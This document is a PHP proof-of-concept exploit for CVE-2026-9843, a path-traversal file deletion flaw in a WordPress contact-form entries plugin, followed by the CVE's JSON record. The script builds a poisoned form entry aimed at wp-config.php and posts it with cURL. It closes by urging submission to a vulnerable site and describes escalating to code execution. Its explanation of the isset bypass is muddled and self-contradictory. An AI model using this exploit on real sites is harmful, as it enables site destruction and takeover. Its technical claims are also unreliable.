CVE-2026-9843

<?php /** * CVE-2026-9843 PoC - Arbitrary File Deletion via Path Traversal * Affected: contact-form-entries plugin <= 1.5.1 * * This PoC demonstrates how an unauthenticated attacker can inject * a malicious payload into a form entry that, when viewed by an admin, * triggers deletion of arbitrary files (e.g., wp-config.php). */ // Step 1: Craft the malicious form submission payload // The key trick is using PHP's bracket notation to bypass isset() checks // When PHP encounters "file[path" it parses it as nested array access $malicious_payload = [ // Normal-looking key that passes initial validation 'name' => 'Test Entry', 'email' => '[email protected]', 'message' => 'Legitimate looking message', // Malicious key exploiting PHP bracket parser behavior // PHP converts "file[path" to $data['file']['path'] access pattern // bypassing the isset($data['file_path']) check 'file[path' => '../../../../wp-config.php', // Alternative payload variations: // 'file_path' => 'php://filter/convert.base64-decode/resource=../../../wp-config.php', // 'attachment[file' => '....//....//wp-config.php', ]; // Step 2: Submit the payload via the vulnerable form endpoint // The form is typically accessible at: /wp-admin/admin-ajax.php // or via the plugin's REST endpoint function submit_malicious_entry($target_url, $payload) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php'); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'action' => 'cf7db_submit', 'form_data' => json_encode($payload), '_wpnonce' => 'bypass_or_obtain_nonce', ])); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Content-Type: application/x-www-form-urlencoded', 'X-Requested-With: XMLHttpRequest', ]); $response = curl_exec($ch); curl_close($ch); return $response; } // Step 3: When admin views the entry in WordPress dashboard, // the view_page function processes the malicious JSON key, // PHP's bracket parser reshapes it, and unlink() is called // on the traversal-specified file path. // Example of the vulnerable code path (simplified): /* function view_page() { $entry = get_entry_by_id($id); $data = json_decode($entry->data, true); // VULNERABLE: isset check can be bypassed via bracket notation if (isset($data['file_path'])) { $file = $data['file_path']; // Attacker controls this // No path traversal validation! unlink($file); // Deletes arbitrary file } // The bypass: if attacker submits {"file[path": "../../wp-config.php"} // PHP's bracket parser makes isset($data['file_path']) return false // but $data['file']['path'] contains the malicious path // The plugin code may then access it via $data['file']['path'] // without proper validation } */ // Usage: // $result = submit_malicious_entry('http://target-wordpress-site.com', $malicious_payload); // echo $result; // Wait for admin to view the entry -> wp-config.php gets deleted -> site enters install mode // Then attacker can reconfigure with malicious database settings to achieve RCE echo "CVE-2026-9843 PoC payload ready. Submit to vulnerable WordPress site.\n"; echo "Target file for deletion: wp-config.php (leads to RCE)\n";

{"cve": {"id": "CVE-2026-9843", "sourceIdentifier": "[email protected]", "published": "2026-06-20T02:16:26.910", "lastModified": "2026-06-20T02:16:26.910", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Database for Contact Form 7, WPforms, Elementor forms plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the view_page function in all versions up to, and including, 1.5.1. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). Successful exploitation requires an administrator to view or edit the poisoned form entry, at which point PHP's bracket parser reshapes the attacker-crafted JSON key to bypass the stored-path isset check and trigger deletion of the traversal-specified file."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "crmperks", "product": "Database for Contact Form 7, WPforms, Elementor forms", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "1.5.1", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/contact-form-entries/tags/1.5.1/contact-form-entries.php#L435", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/contact-form-entries/tags/1.5.1/contact-form-entries.php#L747", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/contact-form-entries/tags/1.5.1/includes/data.php#L539", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/contact-form-entries/tags/1.5.1/includes/plugin-pages.php#L1197", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/contact-form-entries/tags/1.5.1/templates/view.php#L559", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3578556/contact-form-entries", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4169b390-0972-4aa9-ae04-f5f67afe15ef?source=cve", "source": "[email protected]"}]}}